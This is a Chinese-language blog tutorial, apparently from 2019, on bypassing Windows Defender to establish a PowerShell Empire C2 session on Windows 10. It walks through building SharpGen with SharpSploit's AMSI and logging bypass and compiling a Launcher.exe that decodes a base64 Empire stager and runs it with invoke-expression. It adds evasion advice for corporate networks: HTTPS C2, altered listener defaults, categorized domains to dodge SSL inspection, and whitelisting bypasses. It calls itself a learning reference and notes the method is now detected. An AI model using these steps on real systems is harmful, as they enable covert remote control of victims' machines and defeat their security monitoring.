绕过Windows Defender实现PowerShell Empire C2通信的技术指南

本文详细介绍了如何利用SharpSploit和SharpGen工具生成可执行文件,通过AMSI绕过技术成功在启用Windows Defender的Windows 10系统上建立PowerShell Empire的C2会话,并提供了企业环境中的额外防御规避建议。

绕过Windows Defender实现PowerShell Empire C2通信

注意: Windows Defender于2019年2月25日添加了检测规则,将此方法标记为“AmsiTamper.A”。本文所述技术可能已过时,但仍可作为学习参考,并可能集成到现代工具和技术中。

Windows Defender能有效拦截多种攻击,包括使用公开工具(如PowerShell Empire)建立命令与控制(C2)会话的尝试。本文旨在探索在启用Windows Defender的Windows 10计算机上建立此类C2会话的方法。

利用SharpSploit绕过防御

SharpSploit是由Ryan Cobb开发的项目,它整合了多位安全研究人员的重要工作,使用C#代码而非PowerShell.exe创建C2会话,有助于规避常见的恶意PowerShell活动检测。关键功能是PowerShellExecute方法,它结合了Matt Graeber的AMSI绕过和Lee Christensen的PowerShell日志绕过技术,其中AMSI绕过是绕过Windows Defender载荷的关键。

使用SharpGen生成可执行文件

SharpGen同样由Ryan Cobb开发,用于将SharpSploit功能打包成可执行文件。构建前需安装.NET Core SDK。由于Windows Defender会拦截SharpGen仓库中的文件,建议在Windows Defender设置中添加例外文件夹,并在该文件夹中操作。

克隆SharpGen代码:

1
git clone https://github.com/cobbr/SharpGen.git

默认情况下,SharpGen会捆绑PowerKatz,但会被Windows Defender拦截。为避免此问题,编辑SharpGen/Resources/resources.yml文件,将所有PowerKatz相关条目的enabled字段设置为false

构建SharpGen DLL:

1
2
cd SharpGen
dotnet build -c Release

构建完成后,在bin/Release/netcoreapp2.1目录中生成SharpGen.dll。

示例:生成简单可执行文件

构建一个输出“hi”的可执行文件示例:

1
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f example.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"Write-Output hi\"));"

可执行文件生成在Output文件夹中。使用-d net40选项目标.NET 4.0,可根据目标系统调整为-d net35。建议从cmd.exe运行以查看输出。

生成Empire启动器

要建立Empire C2连接,生成一个运行PowerShell单行命令的可执行文件。使用Empire的multi/launcher stager生成base64字符串,替换以下命令中的<BASE64_LAUNCHER>

1
dotnet bin/Release/netcoreapp2.1/SharpGen.dll -f Launcher.exe -d net40 "Console.WriteLine(Shell.PowerShellExecute(\"$c = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('<BASE64_LAUNCHER>')); invoke-expression -command $c\"));"

将Launcher.exe移至目标系统即可绕过Windows Defender。

企业环境中的额外建议

在企业环境中,可能还需规避其他防御措施:

  • 使用HTTPS通信:通过端口443使用有效(非自签名)证书。Empire设置指南详见相关链接。
  • 修改默认值:启动Empire监听器时更改DefaultJitter和DefaultProfile等默认值。
  • 使用分类域名:选择已分类(如政府、医疗或金融)的旧域名,可能避免流量解密和检查。使用Detect-SSLmitm脚本检测哪些网站被SSL解密。可通过购买已分类域名或申请分类(耗时)实现。
  • 绕过应用白名单:如果应用白名单阻止执行随机可执行文件,尝试多种绕过方法,例如@fullmetalcache提供的技术。

结论

通过结合SharpSploit和SharpGen,使用AMSI绕过技术,可以有效绕过Windows Defender建立PowerShell Empire C2会话。在企业环境中,还需考虑网络防御和额外规避策略以确保成功。

注意: 本文内容基于2019年技术,可能需更新以适应现代安全环境。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计